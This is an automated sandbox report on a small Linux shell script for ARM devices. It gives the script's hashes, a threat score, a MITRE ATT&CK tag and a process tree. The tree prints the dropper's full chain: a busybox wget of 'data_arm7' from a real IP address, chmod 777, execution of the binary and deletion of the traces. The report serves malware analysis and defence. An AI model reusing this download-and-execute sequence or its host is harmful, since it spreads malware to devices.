04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e

Analysis

max time kernel
5s
max time network
11s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
31/07/2026, 13:47

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e.sh
Size 617B
Sample260731-q3hecsvxcs
SHA256 04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e
MD5 133a5a93b5a00a4add88fd344ec023d4
SHA1 056231d3a34b95d81fdf45953bed23dfa2455344
SHA512 959abf3e03e7536205ef604dfb3bd99505a371a51fa2969826afd12a5a08d5844df2bc0c7de65e58113f9a85aadce605fab55f5ae84ef572cc0f6e8bed8306b4
TLSH
T14EF0C247A497F036808038E4E76AF659FC21B8876262DE4CB940BF55DEE65347421184
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
750	chmod

/tmp/04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e.sh
/tmp/04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e.sh
1⤵
PID:666
- /bin/uname
  uname -m
  2⤵
  PID:667
- /bin/rm
  rm data_arm7
  2⤵
  PID:668
- /bin/busybox
  busybox wget http://5.175.223.249/data_arm7
  2⤵
  PID:669
- /bin/chmod
  chmod 777 data_arm7
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/data_arm7
  ./data_arm7
  2⤵
  PID:751
- /bin/rm
  rm data_arm7
  2⤵
  PID:752
- /bin/rm
  rm /tmp/04614935b46d278acf30fbd275dfa2b55e19a1a96ece17be852325305469343e.sh
  2⤵
  PID:753

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads